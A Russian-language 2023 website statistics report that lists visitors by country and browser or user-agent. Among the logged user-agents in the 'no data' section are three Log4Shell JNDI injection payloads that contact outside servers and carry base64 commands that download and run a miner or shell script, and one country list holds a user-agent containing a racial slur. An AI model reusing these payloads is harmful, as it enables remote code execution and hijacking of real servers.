Отчет для 2023: Браузеры
Период отчета:  
Отчет создан в Вс Янв 07, 2024 - 13:57:04

Браузеры и страны

Браузеры и страны
Браузер Хиты Посетители % от всех посетителей
Россия
1 Google Chrome 10 516 853 40,10%
2 Firefox 1 473 462 21,72%
3 Другие 4 183 386 18,15%
4 Opera 3 940 132 6,21%
5 Mobile Safari 1 252 104 4,89%
6 Mozilla/5.0 (keys-so-bot) 55 54 2,54%
7 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 38 38 1,79%
8 Internet Explorer 68 15 0,71%
9 python-requests/2.25.1 9 9 0,42%
10 Safari 26 8 0,38%
11 Android Browser 14 7 0,33%
12 Mozilla/5.0 5 5 0,24%
13 OdklBot/1.0 (share@odnoklassniki.ru) 5 5 0,24%
14 Mozilla/4.0 (compatible; MS FrontPage 6.0) 36 4 0,19%
15 MSFrontPage/6.0 14 4 0,19%
16 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 21 3 0,14%
17 Go-http-client/1.1 3 3 0,14%
18 Microsoft Data Access Internet Publishing Provider Protocol Discovery 18 3 0,14%
19 Mozilla/5.0 (iPhone; CPU iPhone OS 15_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/604.1 123 2 0,09%
20 Mozilla/5.0 zgrab/0.x 2 2 0,09%
21 Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.9.2.485.10 YaApp_iOS/2309.2 YaApp_iOS_Browser/2309.2 Safari/604.1 SA/3 4 2 0,09%
22 Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.5.236.10 YaApp_iOS/2311.5 YaApp_iOS_Browser/2311.5 Safari/604.1 SA/3 6 2 0,09%
23 Mozilla/5.0 (compatible; LetsearchBot/1.0; +https://letsearch.ru/bots) 2 2 0,09%
24 Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.3.523.10 YaApp_iOS/2311.3 YaApp_iOS_Browser/2311.3 Safari/604.1 SA/3 1 1 0,05%
25 Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.7.2.391.10 YaApp_iOS/2307.2 YaApp_iOS_Search/2307.2 TA/2.1 webVert webOmni Safari/604.1 SA/3 1 1 0,05%
26 Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.2.422.10 YaApp_iOS/2311.2 YaApp_iOS_Browser/2311.2 Safari/604.1 SA/3 2 1 0,05%
27 com.apple.WebKit.Networking/8616.2.9.10.11 CFNetwork/1485 Darwin/23.1.0 3 1 0,05%
28 Safari/19617.1.17.11.9 CFNetwork/1490.0.4 Darwin/23.2.0 2 1 0,05%
29 curl/7.29.0 1 1 0,05%
30 python-requests/2.31.0 1 1 0,05%
31 Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.5.236.10 YaApp_iOS/2311.5 YaApp_iOS_Browser/2311.5 Safari/604.1 SA/3 1 1 0,05%
32 MobileSafari/8617.1.17.10.9 CFNetwork/1490.0.4 Darwin/23.2.0 10 1 0,05%
33 Mozilla/5.0 (compatible; Konturbot/1.2; +http://kontur.ru; cargo@kontur.ru) 2 1 0,05%
34 Mozilla/5.0 (compatible; MyScript/1.0) 2 1 0,05%
35 Microsoft Edge 1 1 0,05%
36 Dalvik/2.1.0 (Linux; U; Android 11; JLN-LX1 Build/HUAWEIJLN-LX1) 1 1 0,05%
37 Hello, world 1 1 0,05%
38 Linux Gnu (cow) 1 1 0,05%
39 Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.2.391.10 YaApp_iOS/2311.2 YaApp_iOS_Browser/2311.2 Safari/604.1 SA/3 2 1 0,05%
40 Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.3.523.10 YaApp_iOS/2311.3 YaApp_iOS_Browser/2311.3 Safari/604.1 SA/3 1 1 0,05%
41 Mozilla/5.0 (iPhone; CPU iPhone OS 16_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 1 1 0,05%
42 Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.9.3.505.10 YaApp_iOS/2309.3 YaApp_iOS_Browser/2309.3 Safari/604.1 SA/3 2 1 0,05%
43 Mozilla/5.0 (compatible; StatOnlineRuBot/1.0) 1 1 0,05%
44 Mozilla/5.0 (iPad; CPU OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.6.564.11 YaApp_iOS/2311.6 YaApp_iOS_Browser/2311.6 Safari/604.1 13 1 0,05%
45 Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.6.588.10 YaApp_iOS/2311.6 YaApp_iOS_Browser/2311.6 Safari/604.1 SA/3 1 1 0,05%
США
1 Google Chrome 1 047 535 37,00%
2 Другие 713 263 18,19%
3 Firefox 289 159 11,00%
4 Mozilla/5.0 zgrab/0.x 95 86 5,95%
5 Opera 71 57 3,94%
6 Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 94 47 3,25%
7 python-requests/2.31.0 41 40 2,77%
8 ZoominfoBot (zoominfobot at zoominfo dot com) 117 36 2,49%
9 Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 36 36 2,49%
10 Safari 45 30 2,07%
11 Mobile Safari 15 14 0,97%
12 Mozilla/5.0 14 13 0,90%
13 Microsoft Edge 18 12 0,83%
14 curl/8.1.2 10 10 0,69%
15 Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com) 18 9 0,62%
16 ClaudeBot 16 8 0,55%
17 Android Browser 17 8 0,55%
18 Internet Explorer 9 7 0,48%
19 'Cloud mapping experiment. Contact research@pdrlabs.net' 54 6 0,41%
20 masscan/1.3 (https://github.com/robertdavidgraham/masscan) 6 6 0,41%
21 Go-http-client/1.1 20 6 0,41%
22 Mozilla/5.0 (compatible; tchelebi/1.0; +http://tchelebi.io) 5 5 0,35%
23 curl/7.54.0 233 4 0,28%
24 CCBot/2.0 (https://commoncrawl.org/faq/) 14 4 0,28%
25 DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html) 4 4 0,28%
26 python-requests/2.25.1 4 3 0,21%
27 fasthttp 5 3 0,21%
28 axios/0.27.2 3 3 0,21%
29 Konqueror 2 2 0,14%
30 Chrome 2 2 0,14%
31 Linux Gnu (cow) 2 2 0,14%
32 python-requests/2.27.1 2 2 0,14%
33 https://gdnplus.com:Gather Analyze Provide. 2 2 0,14%
34 https://discordservers.su/ 12 2 0,14%
35 curl/7.68.0 1 1 0,07%
36 panscient.com 4 1 0,07%
37 xfa1 1 1 0,07%
38 ddg_android/5.169.0 (com.duckduckgo.mobile.android; Android API 33) 1 1 0,07%
39 wii libnup/1.0 1 1 0,07%
40 curl/7.81.0 1 1 0,07%
41 Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba 1 1 0,07%
42 Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com) 2 1 0,07%
43 Mozilla/5.0 (compatible; MyScript/1.0) 2 1 0,07%
44 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) 1 1 0,07%
45 Java/1.8.0_362 1 1 0,07%
46 LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 1 1 0,07%
47 Lynx 1 1 0,07%
48 SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 2 1 0,07%
49 WordPress/6.4.1; http://junida.ru 6 1 0,07%
50 abuse.xmco.fr 1 1 0,07%
Нет данных
1 Google Chrome 1 123 252 51,01%
2 Firefox 88 53 10,73%
3 Другие 125 51 10,32%
4 Go-http-client/1.1 30 21 4,25%
5 ALittle Client 20 15 3,04%
6 Mozilla/5.0 (keys-so-bot) 15 15 3,04%
7 Opera 20 14 2,83%
8 Linux Gnu (cow) 10 10 2,02%
9 Internet Explorer 13 9 1,82%
10 Safari 11 7 1,42%
11 Mozilla/5.0 zgrab/0.x 7 7 1,42%
12 python-requests/2.31.0 5 5 1,01%
13 Android Browser 13 5 1,01%
14 Mozilla/5.0 (compatible; tchelebi/1.0; +http://tchelebi.io) 3 3 0,61%
15 Microsoft-WebDAV-MiniRedir/6.1.7601 26 3 0,61%
16 Mobile Safari 3 2 0,40%
17 Mozila/5.0 2 2 0,40%
18 Mozilla/5.0 28 2 0,40%
19 DavClnt 2 2 0,40%
20 RepoLookoutBot/v1.1.0-282-g883dd6b (abuse reports to abuse@repo-lookout.org) 1 1 0,20%
21 t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ /cdn.x4b.lol:3306/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXR odWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWlu ZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZ HZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}') 1 1 0,20%
22 xfa1 1 1 0,20%
23 fasthttp 1 1 0,20%
24 t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ /174.138.82.190:1389/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5n aXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfb WluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2 FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}') 1 1 0,20%
25 t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ /45.95.147.236:2411/TomcatBypass/Command/Base64/bWtkaXIgLXAgL3RtcC8kKHdob2FtaSk7I GNkIC90bXAvJCh3aG9hbWkpOyB3Z2V0IGh0dHA6Ly80NS45NS4xNDcuMjM2L2R3LnNoIC1PLSB8IHNoOy BjdXJsIGh0dHA6Ly80NS45NS4xNDguMjM2L2R3LnNoIHwgc2g7}') 1 1 0,20%
26 curl/7.88.1 1 1 0,20%
27 Microsoft-WebDAV-MiniRedir/5.1.2600 40 1 0,20%
28 Mozilla/5.0 (compatible; MyScript/1.0) 2 1 0,20%
29 Hello World 3 1 0,20%
30 Microsoft Edge 2 1 0,20%
31 Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/) 5 1 0,20%
32 Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.5.236.11 YaApp_iOS/2311.5 YaApp_iOS_Search/2311.5 TA/2.1 webVert webOmni Safari/604.1 1 1 0,20%
33 Mozilla/5.0 (iPad; CPU OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Flipboard/4.2.142 1 1 0,20%
34 Mozilla/5.0 (compatible; t3versionsBot/1.0; +https://www.t3versions.com/bot) 1 1 0,20%
35 Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.5.236.11 YaApp_iOS/2311.5 YaApp_iOS_Browser/2311.5 Safari/604.1 4 1 0,20%
Швейцария
1 Hello World 454 454 94,00%
2 Firefox 20 18 3,73%
3 Другие 4 4 0,83%
4 Google Chrome 4 3 0,62%
5 TheSafeInternetSearch 2 2 0,41%
6 Go-http-client/1.1 4 2 0,41%
Китай
1 Mobile Safari 103 103 26,96%
2 Google Chrome 158 82 21,47%
3 Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot) 63 63 16,49%
4 Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot) 28 28 7,33%
5 Другие 94 24 6,28%
6 Firefox 23 23 6,02%
7 Apache-HttpClient/4.5.2 (Java/1.8.0_161) 275 14 3,66%
8 Apache-HttpClient/4.5.2 (Java/1.8.0_151) 168 8 2,09%
9 Opera 11 7 1,83%
10 Mozilla/5.0 6 6 1,57%
11 Go-http-client/1.1 6 6 1,57%
12 Microsoft Edge 5 4 1,05%
13 HTTP Banner Detection (https://security.ipip.net) 3 3 0,79%
14 Apache-HttpClient/4.5.2 (Java/1.8.0_361) 3 2 0,52%
15 Apache-HttpClient/4.5.2 (Java/1.8.0_321) 21 1 0,26%
16 python-requests/2.28.2 1 1 0,26%
17 curl/7.29.0 1 1 0,26%
18 Safari 1 1 0,26%
19 Apache-HttpClient/4.5.2 (Java/1.8.0_351) 1 1 0,26%
20 Mozilla/3.0 (compatible; Indy Library) 1 1 0,26%
21 Internet Explorer 1 1 0,26%
22 Mozilla/5.0 (compatible; MyScript/1.0) 2 1 0,26%
23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 1 1 0,26%
Канада
1 Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 101 101 45,29%
2 Другие 133 85 38,12%
3 Google Chrome 57 18 8,07%
4 Firefox 4 4 1,79%
5 Opera 3 3 1,35%
6 Safari 54 3 1,35%
7 Microsoft Edge 3 3 1,35%
8 python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.102.1.el7.x86_64 14 2 0,90%
9 Mozilla/5.0 (compatible; Dataprovider.com) 18 2 0,90%
10 Peach/1.01 (Ubuntu 8.04 LTS; U; en) 1 1 0,45%
11 Python-urllib/3.11 1 1 0,45%
Германия
1 Google Chrome 65 54 46,96%
2 Firefox 24 19 16,52%
3 Go-http-client/1.1 15 15 13,04%
4 Другие 12 6 5,22%
5 Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot) 558 5 4,35%
6 Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html) 44 4 3,48%
7 Internet Explorer 3 3 2,61%
8 python-requests/2.31.0 3 3 2,61%
9 Opera 2 2 1,74%
10 Mobile Safari 2 2 1,74%
11 curl/7.54.0 49 1 0,87%
12 Safari 1 1 0,87%
Нидерланды
1 Другие 37 35 35,71%
2 Google Chrome 402 30 30,61%
3 Firefox 30 18 18,37%
4 Linux Gnu (cow) 4 4 4,08%
5 Go-http-client/1.1 4 4 4,08%
6 Hello World 2 2 2,04%
7 StartpagePrivateImageProxy/2.0 (https://www.startpage.com/; support@startpage.com) requests/2.25.1 1 1 1,02%
8 python-requests/2.28.1 1 1 1,02%
9 Opera 1 1 1,02%
10 Internet Explorer 1 1 1,02%
11 Mozilla/5.0 zgrab/0.x 1 1 1,02%
Болгария
1 Google Chrome 77 33 38,82%
2 Другие 74 27 31,76%
3 Go-http-client/1.1 18 6 7,06%
4 Android Browser 11 5 5,88%
5 Firefox 11 4 4,71%
6 Internet Explorer 6 3 3,53%
7 python-requests/2.27.1 1 1 1,18%
8 python-requests/2.28.2 4 1 1,18%
9 python-requests/2.31.0 2 1 1,18%
10 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 1 1 1,18%
11 Linux Gnu (cow) 1 1 1,18%
12 Mozilla/5.0 1 1 1,18%
13 Opera 6 1 1,18%
Франция
1 Google Chrome 80 44 53,66%
2 Другие 9 9 10,98%
3 Firefox 9 7 8,54%
4 curl/7.81.0 3 3 3,66%
5 Linux Gnu (cow) 3 3 3,66%
6 Safari 2 2 2,44%
7 python-urllib3/1.26.9 19 2 2,44%
8 python-requests/2.28.1 2 2 2,44%
9 Opera 2 2 2,44%
10 python-requests/2.31.0 1 1 1,22%
11 Microsoft Edge 1 1 1,22%
12 xfa1 1 1 1,22%
13 CCBot/2.0 (+http://www.commoncrawl.org/bot.html) 2 1 1,22%
14 curl 1 1 1,22%
15 Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0 1 1 1,22%
16 curl/8.4.0 1 1 1,22%
17 Mobile Safari 11 1 1,22%
Великобритания
1 Google Chrome 56 19 29,69%
2 Другие 37 14 21,88%
3 Firefox 14 11 17,19%
4 Mozilla/5.0 infrawatch/0.1 36 9 14,06%
5 Go-http-client/1.1 6 4 6,25%
6 Opera 4 2 3,13%
7 Mobile Safari 2 2 3,13%
8 2ip bot/1.1 (+http://2ip.io) 6 2 3,13%
9 'Cloud mapping experiment. Contact research@pdrlabs.net' 9 1 1,56%
Таиланд
1 Google Chrome 188 40 63,49%
2 Firefox 19 14 22,22%
3 Opera 5 4 6,35%
4 Microsoft Edge 4 3 4,76%
5 Safari 2 2 3,17%
Япония
1 Mobile Safari 37 37 68,52%
2 Firefox 12 8 14,81%
3 Google Chrome 6 3 5,56%
4 curl/7.64.1 2 2 3,70%
5 Другие 5 2 3,70%
6 Internet Explorer 3 2 3,70%
Азербайджан
1 Google Chrome 40 40 88,89%
2 Другие 3 3 6,67%
3 NiggaBalls 1 1 2,22%
4 Firefox 12 1 2,22%
Швеция
1 Google Chrome 22 20 57,14%
2 Mobile Safari 10 8 22,86%
3 Firefox 6 5 14,29%
4 Python/3.11 aiohttp/3.9.1 1 1 2,86%
5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) 1 1 2,86%
Австрия
1 Google Chrome 16 16 45,71%
2 Firefox 17 16 45,71%
3 Другие 3 3 8,57%
Индия
1 Google Chrome 23 18 56,25%
2 Safari 7 7 21,88%
3 Firefox 2 2 6,25%
4 Mozilla/5.0 zgrab/0.x 2 1 3,13%
5 Opera 1 1 3,13%
6 Dark 2 1 3,13%
7 Другие 1 1 3,13%
8 Microsoft Edge 1 1 3,13%
Индонезия
1 Google Chrome 31 21 65,63%
2 Firefox 4 4 12,50%
3 xfa1 2 2 6,25%
4 Opera 4 2 6,25%
5 Microsoft Edge 2 2 6,25%
6 Safari 3 1 3,13%
Сербия
1 Firefox 33 30 100,00%
Украина
1 Google Chrome 59 17 56,67%
2 Opera 120 3 10,00%
3 Другие 3 3 10,00%
4 Linux Gnu (cow) 2 2 6,67%
5 Firefox 2 2 6,67%
6 Internet Explorer 2 2 6,67%
7 Mobile Safari 1 1 3,33%
Сейшельские острова
1 Google Chrome 24 20 80,00%
2 Другие 9 3 12,00%
3 Opera 1 1 4,00%
4 Firefox 1 1 4,00%
Молдова
1 Google Chrome 22 22 95,65%
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) 2 1 4,35%
Израиль
1 Google Chrome 1 716 12 60,00%
2 Другие 2 2 10,00%
3 Firefox 2 2 10,00%
4 Opera 1 1 5,00%
5 Safari 1 1 5,00%
6 Mozila/5.0 1 1 5,00%
7 Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/290.1.581873948 Mobile/15E148 Safari/604.1 19 1 5,00%
Сингапур
1 Google Chrome 10 8 40,00%
2 Mobile Safari 6 6 30,00%
3 Safari 3 1 5,00%
4 curl/7.64.1 1 1 5,00%
5 python-requests/2.31.0 1 1 5,00%
6 Firefox 1 1 5,00%
7 Другие 1 1 5,00%
8 Opera 3 1 5,00%
Испания
1 Google Chrome 29 7 36,84%
2 xfa1 3 3 15,79%
3 Firefox 367 3 15,79%
4 Другие 2 2 10,53%
5 Safari 1 1 5,26%
6 Mozilla/5.0 (compatible; EdgeWatch/1.1; https://about.edgewatch.com/) 1 1 5,26%
7 Microsoft Edge 9 1 5,26%
8 Mobile Safari 2 1 5,26%
Словакия
1 Google Chrome 22 18 100,00%
Беларусь
1 Другие 13 9 50,00%
2 Google Chrome 12 4 22,22%
3 Firefox 11 4 22,22%
4 Opera 3 1 5,56%
Бразилия
1 Google Chrome 19 12 70,59%
2 Safari 2 2 11,76%
3 Firefox 6 2 11,76%
4 Opera 1 1 5,88%
Гонконг
1 Другие 13 6 37,50%
2 Google Chrome 12 5 31,25%
3 Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.11.4.521.10 YaApp_iOS/2311.4 YaApp_iOS_Browser/2311.4 Safari/604.1 SA/3 1 1 6,25%
4 curl/7.29.0 1 1 6,25%
5 Apache-HttpClient/4.5.2 (Java/1.8.0_161) 21 1 6,25%
6 Firefox 1 1 6,25%
7 Go-http-client/1.1 3 1 6,25%
Иран
1 Google Chrome 9 9 60,00%
2 Safari 5 4 26,67%
3 Opera 2 2 13,33%
Польша
1 Другие 5 5 38,46%
2 Safari 6 2 15,38%
3 Google Chrome 2 2 15,38%
4 Firefox 5 2 15,38%
5 Photon/1.0 1 1 7,69%
6 Opera 5 1 7,69%
ЮАР
1 Google Chrome 5 5 41,67%
2 xfa1 3 3 25,00%
3 Firefox 2 2 16,67%
4 Opera 1 1 8,33%
5 Microsoft Edge 1 1 8,33%
Бельгия
1 Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) 10 10 90,91%
2 Google Chrome 10 1 9,09%
Литва
1 Google Chrome 168 7 70,00%
2 Safari 1 1 10,00%
3 Opera 1 1 10,00%
4 Другие 6 1 10,00%
Южная Корея
1 Google Chrome 37 5 50,00%
2 Другие 9 4 40,00%
3 Firefox 1 1 10,00%
Румыния
1 Google Chrome 2 2 22,22%
2 Firefox 2 2 22,22%
3 Safari 1 1 11,11%
4 fasthttp 1 1 11,11%
5 Opera 1 1 11,11%
6 Android Browser 2 1 11,11%
7 Microsoft Edge 3 1 11,11%
Казахстан
1 Google Chrome 4 3 33,33%
2 Opera 5 2 22,22%
3 Другие 2 2 22,22%
4 Safari 1 1 11,11%
5 Mobile Safari 1 1 11,11%
Эстония
1 Google Chrome 9 6 85,71%
2 Opera 1 1 14,29%
Италия
1 Google Chrome 2 2 28,57%
2 Firefox 4 2 28,57%
3 python-requests/2.31.0 1 1 14,29%
4 Opera 1 1 14,29%
5 Android Browser 4 1 14,29%
Вьетнам
1 Firefox 4 4 57,14%
2 Google Chrome 3 3 42,86%
Колумбия
1 Другие 5 5 71,43%
2 Firefox 18 2 28,57%
Бангладеш
1 Google Chrome 3 2 33,33%
2 Firefox 15 2 33,33%
3 Mozilla/5.0 1 1 16,67%
4 Microsoft Edge 1 1 16,67%
Тайвань
1 Другие 7 4 66,67%
2 Microsoft Edge 1 1 16,67%
3 Google Chrome 1 1 16,67%
Монголия
1 Google Chrome 6 6 100,00%
Ирландия
1 Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com) 2 1 16,67%
2 Pandalytics/1.0 (https://domainsbot.com/pandalytics/) 2 1 16,67%
3 StartpagePrivateImageProxy/2.0 (https://www.startpage.com/; support@startpage.com) requests/2.25.1 1 1 16,67%
4 DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html) 1 1 16,67%
5 Firefox 2 1 16,67%
6 Google Chrome 1 1 16,67%
Мексика
1 Google Chrome 130 3 50,00%
2 Firefox 8 3 50,00%
Австралия
1 Google Chrome 4 3 60,00%
2 Opera 1 1 20,00%
3 Firefox 2 1 20,00%
Латвия
1 Mozilla/5.0 (compatible; GeedoBot; +http://www.geedo.com/bot.html) 12 2 40,00%
2 Google Chrome 2 2 40,00%
3 Firefox 2 1 20,00%
Турция
1 Google Chrome 7 3 60,00%
2 Microsoft Edge 3 1 20,00%
3 Firefox 1 1 20,00%
Марокко
1 Google Chrome 2 2 50,00%
2 Safari 1 1 25,00%
3 Firefox 15 1 25,00%